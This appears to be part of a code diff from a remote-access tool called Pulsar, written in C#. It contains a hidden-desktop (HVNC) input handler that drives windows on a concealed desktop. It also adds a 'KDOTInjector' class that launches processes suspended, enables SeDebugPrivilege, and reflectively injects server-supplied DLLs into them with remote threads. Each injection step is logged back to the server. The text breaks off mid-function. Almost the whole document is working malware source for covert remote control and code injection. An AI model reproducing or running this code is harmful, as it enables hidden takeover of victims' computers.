private static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos);
[DllImport("user32.dll")]
private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType);
[DllImport("user32.dll")]
private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd);
[DllImport("user32.dll")]
private static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam);
[DllImport("user32.dll")]
private static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool IsWindow(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags);
[DllImport("user32.dll")]
private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
[DllImport("user32.dll")]
private static extern bool GetClientRect(IntPtr hWnd, out RECT lpRect);
[DllImport("user32.dll")]
private static extern IntPtr GetDesktopWindow();
[DllImport("user32.dll")]
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
[DllImport("user32.dll")]
private static extern short GetKeyState(int nVirtKey);
[DllImport("user32.dll")]
private static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState,
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
int cchBuff, uint wFlags);
[DllImport("user32.dll")]
private static extern bool GetKeyboardState(byte[] lpKeyState);
private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam);
#endregion
#region Constants
// Window style constants
private const int GWL_STYLE = -16;
private const int WS_DISABLED = 0x8000000;
// Window message constants
private const int WM_CHAR = 0x0102;
private const int WM_KEYDOWN = 0x0100;
private const int WM_KEYUP = 0x0101;
private const int WM_LBUTTONUP = 0x0202;
private const int WM_LBUTTONDOWN = 0x0201;
private const int WM_MOUSEMOVE = 0x0200;
private const int WM_CLOSE = 0x0010;
private const int WM_SYSCOMMAND = 0x0112;
private const int WM_NCHITTEST = 0x0084;
private const int WM_RBUTTONUP = 0x0205;
private const int WM_RBUTTONDOWN = 0x0204;
private const int WM_DESTROY = 0x0002;
// Mouse button constants
private const int MK_LBUTTON = 0x0001;
private const int MK_RBUTTON = 0x0002;
// System command constants
private const int SC_MINIMIZE = 0xF020;
private const int SC_RESTORE = 0xF120;
private const int SC_MAXIMIZE = 0xF030;
// Hit test area constants
private const int HTCAPTION = 2;
private const int HTTOP = 12;
private const int HTBOTTOM = 15;
private const int HTLEFT = 10;
private const int HTRIGHT = 11;
private const int HTTOPLEFT = 13;
private const int HTTOPRIGHT = 14;
private const int HTBOTTOMLEFT = 16;
private const int HTBOTTOMRIGHT = 17;
private const int HTCLOSE = 20;
private const int HTMINBUTTON = 8;
private const int HTMAXBUTTON = 9;
private const int HTTRANSPARENT = -1;
// Window enumeration constants
private const uint GW_HWNDPREV = 3;
private const uint GW_HWNDNEXT = 2;
// Miscellaneous constants
private const int VK_RETURN = 0x0D;
private const int MN_GETHMENU = 0x01E1;
private const int BM_CLICK = 0x00F5;
private const int MAX_PATH = 260;
private const int SW_SHOWMAXIMIZED = 3;
private const int SW_RESTORE = 9;
private const int VK_SHIFT = 0x10;
private const int VK_CONTROL = 0x11;
private const int VK_MENU = 0x12; // Alt key
private const int VK_LSHIFT = 0xA0;
private const int VK_RSHIFT = 0xA1;
private const int VK_LCONTROL = 0xA2;
private const int VK_RCONTROL = 0xA3;
private const int VK_LMENU = 0xA4; // Left Alt
private const int VK_RMENU = 0xA5; // Right Alt
private const int VK_CAPITAL = 0x14; // Caps Lock
#endregion
#region Fields and Properties
private readonly string desktopName;
private bool isMovingWindow = false;
private POINT lastClickCoords = new POINT { x = 0, y = 0 };
private POINT lastWindowDimensions = new POINT { x = 0, y = 0 };
private IntPtr windowToMove = IntPtr.Zero;
private IntPtr workingWindow = IntPtr.Zero;
private static readonly object syncLock = new object();
private bool isShiftPressed = false;
private bool isControlPressed = false;
private bool isAltPressed = false;
private bool isCapsLockOn = false;
/// <summary>
/// Gets the desktop handle.
/// </summary>
public IntPtr Desktop { get; private set; } = IntPtr.Zero;
#endregion
#region Constructor and Dispose
/// <summary>
/// Initializes a new instance of the <see cref="InputHandler"/> class.
/// </summary>
/// <param name="desktopName">The name of the desktop to handle input for.</param>
public InputHandler(string desktopName)
{
this.desktopName = desktopName;
IntPtr desktopHandle = OpenDesktop(desktopName, 0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL);
if (desktopHandle == IntPtr.Zero)
{
desktopHandle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
}
this.Desktop = desktopHandle;
InitializeModifierKeyStates();
}
/// <summary>
/// Releases all resources used by the InputHandler.
/// </summary>
public void Dispose()
{
CloseDesktop(this.Desktop);
GC.Collect();
}
#endregion
#region Keyboard Helper Methods
/// <summary>
/// Initializes the modifier key states by checking the current system state.
/// </summary>
private void InitializeModifierKeyStates()
{
isShiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0;
isControlPressed = (GetKeyState(VK_CONTROL) & 0x8000) != 0;
isAltPressed = (GetKeyState(VK_MENU) & 0x8000) != 0;
isCapsLockOn = (GetKeyState(VK_CAPITAL) & 0x0001) != 0;
}
/// <summary>
/// Handles keyboard input with proper modifier tracking and character conversion.
/// </summary>
/// <param name="msg">The keyboard message</param>
/// <param name="wParam">The wParam containing the virtual key code</param>
/// <param name="lParam">The original lParam</param>
/// <param name="targetWindow">The target window to send messages to</param>
private void HandleKeyboardInput(uint msg, IntPtr wParam, IntPtr lParam, IntPtr targetWindow)
{
int virtualKey = wParam.ToInt32();
UpdateModifierKeyState(msg, virtualKey);
if (msg == WM_KEYDOWN)
{
if (IsModifierKey(virtualKey))
{
IntPtr modifierLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, modifierLParam);
return;
}
char[] chars = VirtualKeyToChar(virtualKey);
bool isPrintableChar = (chars != null && chars.Length > 0 && chars[0] != '\0');
if (isPrintableChar)
{
IntPtr charLParam = BuildKeyboardLParam(WM_CHAR, wParam);
foreach (char ch in chars)
{
if (ch != '\0')
{
PostMessage(targetWindow, WM_CHAR, new IntPtr(ch), charLParam);
}
}
}
else
{
IntPtr properLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, properLParam);
}
}
else if (msg == WM_KEYUP)
{
IntPtr properLParam = BuildKeyboardLParam(msg, wParam);
PostMessage(targetWindow, msg, wParam, properLParam);
}
else if (msg == WM_CHAR)
{
PostMessage(targetWindow, msg, wParam, lParam);
}
}
/// <summary>
/// Updates the internal modifier key state tracking.
/// </summary>
/// <param name="msg">The keyboard message</param>
/// <param name="virtualKey">The virtual key code</param>
private void UpdateModifierKeyState(uint msg, int virtualKey)
{
bool keyDown = (msg == WM_KEYDOWN);
switch (virtualKey)
{
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
isShiftPressed = keyDown;
break;
case VK_CONTROL:
case VK_LCONTROL:
case VK_RCONTROL:
isControlPressed = keyDown;
break;
case VK_MENU:
case VK_LMENU:
case VK_RMENU:
isAltPressed = keyDown;
break;
case VK_CAPITAL:
if (keyDown)
{
isCapsLockOn = !isCapsLockOn;
}
break;
}
}
/// <summary>
/// Converts a virtual key to its character representation considering modifier states.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>Array of characters, or null if not a printable character</returns>
private char[] VirtualKeyToChar(int virtualKey)
{
if (IsModifierKey(virtualKey) || IsNonPrintableKey(virtualKey))
{
return null;
}
byte[] keyboardState = new byte[256];
if (isShiftPressed)
{
keyboardState[VK_SHIFT] = 0x80;
}
if (isControlPressed)
{
keyboardState[VK_CONTROL] = 0x80;
}
if (isAltPressed)
{
keyboardState[VK_MENU] = 0x80;
}
if (isCapsLockOn)
{
keyboardState[VK_CAPITAL] = 0x01;
}
var buffer = new StringBuilder(64);
uint scanCode = MapVirtualKey((uint)virtualKey, 0);
int result = ToUnicode((uint)virtualKey, scanCode, keyboardState, buffer, buffer.Capacity, 0);
if (result > 0)
{
return buffer.ToString().Substring(0, result).ToCharArray();
}
return null;
}
/// <summary>
/// Determines if a virtual key is a modifier key.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is a modifier key</returns>
private bool IsModifierKey(int virtualKey)
{
switch (virtualKey)
{
case VK_SHIFT:
case VK_LSHIFT:
case VK_RSHIFT:
case VK_CONTROL:
case VK_LCONTROL:
case VK_RCONTROL:
case VK_MENU:
case VK_LMENU:
case VK_RMENU:
case VK_CAPITAL:
return true;
default:
return false;
}
}
/// <summary>
/// Determines if a virtual key is a non-printable key (function keys, arrows, etc.).
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is non-printable</returns>
private bool IsNonPrintableKey(int virtualKey)
{
if (virtualKey >= 0x70 && virtualKey <= 0x7B) return true;
switch (virtualKey)
{
case 0x21: // VK_PRIOR (Page Up)
case 0x22: // VK_NEXT (Page Down)
case 0x23: // VK_END
case 0x24: // VK_HOME
case 0x25: // VK_LEFT
case 0x26: // VK_UP
case 0x27: // VK_RIGHT
case 0x28: // VK_DOWN
case 0x2D: // VK_INSERT
case 0x2E: // VK_DELETE
case 0x5B: // VK_LWIN
case 0x5C: // VK_RWIN
case 0x5D: // VK_APPS
case 0x91: // VK_SCROLL
case 0x90: // VK_NUMLOCK
case 0x0D: // VK_RETURN (Enter)
case 0x1B: // VK_ESCAPE
case 0x09: // VK_TAB
case 0x08: // VK_BACK (Backspace)
return true;
default:
return false;
}
}
/// <summary>
/// Builds the appropriate lParam value for keyboard messages.
/// </summary>
/// <param name="message">The keyboard message (WM_KEYDOWN, WM_KEYUP, WM_CHAR)</param>
/// <param name="wParam">The wParam containing the virtual key code</param>
/// <returns>The properly formatted lParam for the keyboard message</returns>
private IntPtr BuildKeyboardLParam(uint message, IntPtr wParam)
{
int vk = wParam.ToInt32();
uint scanCode = MapVirtualKey((uint)vk, 0);
int lParam = 0;
lParam |= 1;
lParam |= (int)(scanCode << 16);
if (IsExtendedKey(vk))
{
lParam |= (1 << 24);
}
if (message == WM_KEYUP)
{
lParam |= (1 << 30);
lParam |= (1 << 31);
}
return new IntPtr(lParam);
}
/// <summary>
/// Determines if a virtual key code represents an extended key.
/// </summary>
/// <param name="virtualKey">The virtual key code</param>
/// <returns>True if the key is an extended key</returns>
private bool IsExtendedKey(int virtualKey)
{
switch (virtualKey)
{
case 0x21: // VK_PRIOR (Page Up)
case 0x22: // VK_NEXT (Page Down)
case 0x23: // VK_END
case 0x24: // VK_HOME
case 0x25: // VK_LEFT
case 0x26: // VK_UP
case 0x27: // VK_RIGHT
case 0x28: // VK_DOWN
case 0x2D: // VK_INSERT
case 0x2E: // VK_DELETE
case 0x5B: // VK_LWIN
case 0x5C: // VK_RWIN
case 0x5D: // VK_APPS
case 0xA0: // VK_LSHIFT (when differentiated from VK_SHIFT)
case 0xA1: // VK_RSHIFT
case 0xA2: // VK_LCONTROL
case 0xA3: // VK_RCONTROL
case 0xA4: // VK_LMENU (Left Alt)
case 0xA5: // VK_RMENU (Right Alt)
case 0x91: // VK_SCROLL
return true;
default:
return false;
}
}
#endregion
#region Helper Methods
/// <summary>
/// Gets the X coordinate from an lParam.
/// </summary>
public static int GetXCoordinate(IntPtr lParam)
{
return (int)((short)(lParam.ToInt32() & 0xFFFF));
}
/// <summary>
/// Gets the Y coordinate from an lParam.
/// </summary>
public static int GetYCoordinate(IntPtr lParam)
{
return (int)((short)(lParam.ToInt32() >> 16 & 0xFFFF));
}
/// <summary>
/// Creates an lParam from X and Y coordinates.
/// </summary>
public static IntPtr MakeLParam(int lowWord, int highWord)
{
return new IntPtr(highWord << 16 | (lowWord & 0xFFFF));
}
/// <summary>
/// Calculates relative coordinates from screen to window
/// </summary>
private POINT ScreenToWindow(int screenX, int screenY, int windowX, int windowY, int windowWidth, int windowHeight)
{
int relativeX = screenX - windowX;
int relativeY = screenY - windowY;
if (relativeX >= 0 && relativeX < windowWidth && relativeY >= 0 && relativeY < windowHeight)
return new POINT { x = relativeX, y = relativeY };
else
return new POINT { x = -1, y = -1 };
}
#endregion
#region Input Processing
/// <summary>
/// Processes an input message and sends it to the appropriate window.
/// </summary>
/// <param name="msg">The message to process.</param>
/// <param name="wParam">The wParam of the message.</param>
/// <param name="lParam">The lParam of the message.</param>
public void Input(uint msg, IntPtr wParam, IntPtr lParam)
{
lock (syncLock)
{
SetThreadDesktop(this.Desktop);
// Handle mouse messages
if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP ||
msg == WM_RBUTTONDOWN || msg == WM_RBUTTONUP ||
msg == WM_MOUSEMOVE)
{
int x = GetXCoordinate(lParam);
int y = GetYCoordinate(lParam);
POINT cursorPosition = new POINT { x = x, y = y };
bool isLeft = (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP);
bool isUp = (msg == WM_LBUTTONUP || msg == WM_RBUTTONUP);
if (isMovingWindow && isUp && isLeft)
{
// If we were moving a window and now released the button, complete the move
SetWindowPos(windowToMove, IntPtr.Zero,
x - lastClickCoords.x,
y - lastClickCoords.y,
lastWindowDimensions.x,
lastWindowDimensions.y,
0);
isMovingWindow = false;
}
// Get the window under the cursor
IntPtr hwnd = WindowFromPoint(cursorPosition);
workingWindow = hwnd;
if (hwnd != IntPtr.Zero)
{
// Get window information
RECT windowRect;
GetWindowRect(hwnd, out windowRect);
// Calculate window position and size
int windowX = windowRect.left;
int windowY = windowRect.top;
int windowWidth = windowRect.right - windowRect.left;
int windowHeight = windowRect.bottom - windowRect.top;
// Calculate position relative to window
POINT clickCoords = ScreenToWindow(x, y, windowX, windowY, windowWidth, windowHeight);
// Get hit test result to determine what part of the window was clicked
IntPtr hitTestResult = SendMessage(hwnd, WM_NCHITTEST, IntPtr.Zero, lParam);
int hitTestResultInt = hitTestResult.ToInt32();
if (hitTestResultInt == HTCLOSE && msg == WM_LBUTTONUP)
{
// Close button clicked
Debug.WriteLine("Closing window");
PostMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero);
PostMessage(hwnd, WM_DESTROY, IntPtr.Zero, IntPtr.Zero);
}
else if (hitTestResultInt == HTCAPTION)
{
// Title bar clicked
if (!isUp && isLeft && msg == WM_LBUTTONDOWN)
{
// Start window move operation
lastClickCoords = clickCoords;
lastWindowDimensions = new POINT { x = windowWidth, y = windowHeight };
isMovingWindow = true;
windowToMove = hwnd;
Debug.WriteLine("Starting window move");
}
}
else if (hitTestResultInt == HTMAXBUTTON && msg == WM_LBUTTONUP)
{
// Maximize/Restore button clicked
WINDOWPLACEMENT windowPlacement = default;
windowPlacement.length = Marshal.SizeOf<WINDOWPLACEMENT>(windowPlacement);
GetWindowPlacement(hwnd, ref windowPlacement);
if ((windowPlacement.flags & SW_SHOWMAXIMIZED) != 0)
{
Debug.WriteLine("Restoring window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_RESTORE), IntPtr.Zero);
}
else
{
Debug.WriteLine("Maximizing window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MAXIMIZE), IntPtr.Zero);
}
}
else if (hitTestResultInt == HTMINBUTTON && msg == WM_LBUTTONUP)
{
// Minimize button clicked
Debug.WriteLine("Minimizing window");
PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MINIMIZE), IntPtr.Zero);
}
else
{
// Regular window area clicked - forward the mouse message
IntPtr param = isLeft ? new IntPtr(MK_LBUTTON) : new IntPtr(MK_RBUTTON);
IntPtr translatedLParam = MakeLParam(clickCoords.x, clickCoords.y);
PostMessage(hwnd, msg, param, translatedLParam);
}
}
}
// Handle keyboard messages
if (msg == WM_KEYDOWN || msg == WM_KEYUP || msg == WM_CHAR)
{
if (workingWindow != IntPtr.Zero)
{
HandleKeyboardInput(msg, wParam, lParam, workingWindow);
}
}
}
}
#endregion
#region Nested Types
/// <summary>
/// Desktop access rights flags.
/// </summary>
private enum DESKTOP_ACCESS : uint
{
DESKTOP_NONE,
DESKTOP_READOBJECTS,
DESKTOP_CREATEWINDOW,
DESKTOP_CREATEMENU = 4U,
DESKTOP_HOOKCONTROL = 8U,
DESKTOP_JOURNALRECORD = 16U,
DESKTOP_JOURNALPLAYBACK = 32U,
DESKTOP_ENUMERATE = 64U,
DESKTOP_WRITEOBJECTS = 128U,
DESKTOP_SWITCHDESKTOP = 256U,
GENERIC_ALL = 511U
}
/// <summary>
/// Represents a point (x,y coordinates).
/// </summary>
public struct POINT
{
public int x;
public int y;
}
/// <summary>
/// Represents a rectangle.
/// </summary>
public struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
/// <summary>
/// Contains information about the placement of a window.
/// </summary>
public struct WINDOWPLACEMENT
{
public int length;
public int flags;
public int showCmd;
public POINT ptMinPosition;
public POINT ptMaxPosition;
public RECT rcNormalPosition;
}
#endregion
}
}
+857
View File
@@ -0,0 +1,857 @@
using Pulsar.Client.LoggingAPI;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper.HVNC
{
internal class KDOTInjector
{
/// <summary>
/// Starts the reflective DLL injection process
/// </summary>
/// <param name="dllBytes">The DLL bytes to inject (received from server)</param>
/// <param name="exePath">Path to the executable to start and inject into</param>
/// <param name="searchPattern">Pattern to search for in the target process</param>
/// <param name="replacementPath">Replacement path for the search pattern</param>
/// <returns>Process ID of the started process, or 0 if failed</returns>
public static int Start(byte[] dllBytes, string exePath, string searchPattern, string replacementPath)
{
try
{
if (dllBytes == null || dllBytes.Length == 0)
{
UniversalDebugLogger.SendLogToServer("[-] Invalid DLL bytes provided");
return 0;
}
if (string.IsNullOrWhiteSpace(exePath))
{
UniversalDebugLogger.SendLogToServer("[-] No target executable specified");
return 0;
}
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
{
UniversalDebugLogger.SendLogToServer("[-] Search pattern and replacement path are required");
return 0;
}
UniversalDebugLogger.SendLogToServer($"[*] Starting reflective DLL injection");
UniversalDebugLogger.SendLogToServer($" Target: {exePath}");
UniversalDebugLogger.SendLogToServer($" Search Pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($" Replacement Path: {replacementPath}");
UniversalDebugLogger.SendLogToServer($" DLL Size: {dllBytes.Length} bytes");
PrivilegeManager.EnableDebugPrivilege();
var (process, hProcess, hThread) = ProcessManager.StartProcessSuspended(exePath, searchPattern, replacementPath);
if (process == null || hProcess == IntPtr.Zero || hThread == IntPtr.Zero)
{
UniversalDebugLogger.SendLogToServer("[-] Failed to create suspended process");
return 0;
}
int processId = process.Id;
UniversalDebugLogger.SendLogToServer($"[+] Started process '{Path.GetFileName(exePath)}' (suspended) with PID {processId}");
try
{
bool success = Injector.InjectDllWithHandle(hProcess, dllBytes);
if (success)
{
UniversalDebugLogger.SendLogToServer($"[+] Successfully injected '{Path.GetFileName(exePath)}' into process {processId}");
UniversalDebugLogger.SendLogToServer($"[+] Search pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($"[+] Replacement path: {replacementPath}");
}
else
{
UniversalDebugLogger.SendLogToServer("[-] Injection failed");
Injector.CloseHandle(hProcess);
Injector.CloseHandle(hThread);
if (!process.HasExited)
{
process.Kill();
}
return 0;
}
}
finally
{
Injector.CloseHandle(hProcess);
}
UniversalDebugLogger.SendLogToServer("[+] Resuming main thread...");
ProcessManager.ResumeThreadExP(hThread);
Injector.CloseHandle(hThread);
UniversalDebugLogger.SendLogToServer("[+] Process running. DLL hooks will propagate to child processes.");
return processId;
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"[-] Exception in KDOTInjector.Start: {ex.Message}");
return 0;
}
}
}
/// <summary>
/// Manages process creation and interaction
/// </summary>
internal static class ProcessManager
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
private const uint CREATE_SUSPENDED = 0x00000004;
private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
private const int STARTF_USEPOSITION = 0x00000004;
public static Process StartProcessNormal(string exePath)
{
if (!File.Exists(exePath))
{
Debug.WriteLine($"[-] Executable not found: {exePath}");
return null;
}
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = exePath,
UseShellExecute = false,
WorkingDirectory = Path.GetDirectoryName(exePath)
};
Process process = Process.Start(psi);
return process;
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
return null;
}
}
private static IntPtr CreateEnvironmentBlock(string searchPath, string replacePath)
{
var envVars = Environment.GetEnvironmentVariables();
var envDict = new Dictionary<string, string>();
foreach (System.Collections.DictionaryEntry entry in envVars)
{
envDict[entry.Key.ToString()] = entry.Value.ToString();
}
envDict["RDI_SEARCH_PATH"] = searchPath;
envDict["RDI_REPLACE_PATH"] = replacePath;
var envList = new List<string>();
foreach (var kvp in envDict.OrderBy(x => x.Key, StringComparer.OrdinalIgnoreCase))
{
envList.Add($"{kvp.Key}={kvp.Value}");
}
string envBlock = string.Join("\0", envList) + "\0\0";
byte[] envBytes = Encoding.Unicode.GetBytes(envBlock);
IntPtr envPtr = Marshal.AllocHGlobal(envBytes.Length);
Marshal.Copy(envBytes, 0, envPtr, envBytes.Length);
return envPtr;
}
public static (Process process, IntPtr hProcess, IntPtr hThread) StartProcessSuspended(string exePath, string searchPath, string replacePath)
{
if (!File.Exists(exePath))
{
Debug.WriteLine($"[-] Executable not found: {exePath}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
IntPtr envBlock = IntPtr.Zero;
try
{
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "PulsarDesktop";
si.dwX = 0;
si.dwY = 0;
si.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION pi;
string commandLine = $"\"{exePath}\" --window-position=0,0";
envBlock = CreateEnvironmentBlock(searchPath, replacePath);
Debug.WriteLine($"[*] Setting environment variables:");
Debug.WriteLine($" RDI_SEARCH_PATH={searchPath}");
Debug.WriteLine($" RDI_REPLACE_PATH={replacePath}");
bool success = CreateProcess(
null,
commandLine,
IntPtr.Zero,
IntPtr.Zero,
false,
CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT,
envBlock,
Path.GetDirectoryName(exePath),
ref si,
out pi);
if (!success)
{
int error = Marshal.GetLastWin32Error();
Debug.WriteLine($"[-] Failed to create process. Error: {error}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
Process process = Process.GetProcessById((int)pi.dwProcessId);
return (process, pi.hProcess, pi.hThread);
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
finally
{
if (envBlock != IntPtr.Zero)
{
Marshal.FreeHGlobal(envBlock);
}
}
}
public static void ResumeThreadExP(IntPtr hThread)
{
if (hThread != IntPtr.Zero)
{
uint suspendCount = ResumeThread(hThread);
if (suspendCount == unchecked((uint)-1))
{
Debug.WriteLine($"[-] Failed to resume thread. Error: {Marshal.GetLastWin32Error()}");
}
}
}
}
/// <summary>
/// Manages Windows privileges (SeDebugPrivilege)
/// </summary>
internal static class PrivilegeManager
{
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(
IntPtr ProcessHandle,
uint DesiredAccess,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState,
uint BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const uint TOKEN_QUERY = 0x0008;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const string SE_DEBUG_NAME = "SeDebugPrivilege";
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID_AND_ATTRIBUTES Privileges;
}
public static void EnableDebugPrivilege()
{
try
{
IntPtr hToken;
if (OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
{
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Privileges = new LUID_AND_ATTRIBUTES
{
Attributes = SE_PRIVILEGE_ENABLED
}
};
if (LookupPrivilegeValue(null, SE_DEBUG_NAME, out tp.Privileges.Luid))
{
AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
CloseHandle(hToken);
}
}
catch
{
// windows basically just gave us the middle finger
}
}
}
/// <summary>
/// Handles DLL injection using reflective loading
/// </summary>
internal static class Injector
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
private const uint INFINITE = 0xFFFFFFFF;
[Flags]
private enum ProcessAccessFlags : uint
{
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_WRITE = 0x0020,
PROCESS_VM_READ = 0x0010,
All = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
}
[Flags]
private enum AllocationType : uint
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000
}
[Flags]
private enum MemoryProtection : uint
{
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_READWRITE = 0x04
}
public static bool InjectDll(int processId, byte[] dllBuffer)
{
IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, processId);
if (hProcess == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to open target process. Error={Marshal.GetLastWin32Error()}");
return false;
}
try
{
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
if (hThread == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
finally
{
CloseHandle(hProcess);
}
}
public static bool InjectDllWithHandle(IntPtr hProcess, byte[] dllBuffer)
{
if (hProcess == IntPtr.Zero || dllBuffer == null || dllBuffer.Length == 0)
{
Debug.WriteLine("[-] Invalid parameters for injection");
return false;
}
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
if (hThread == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
private static IntPtr LoadRemoteLibraryR(IntPtr hProcess, byte[] buffer)
{
try
{
if (hProcess == IntPtr.Zero || buffer == null || buffer.Length == 0)
return IntPtr.Zero;
uint reflectiveLoaderOffset = PEParser.GetReflectiveLoaderOffset(buffer);
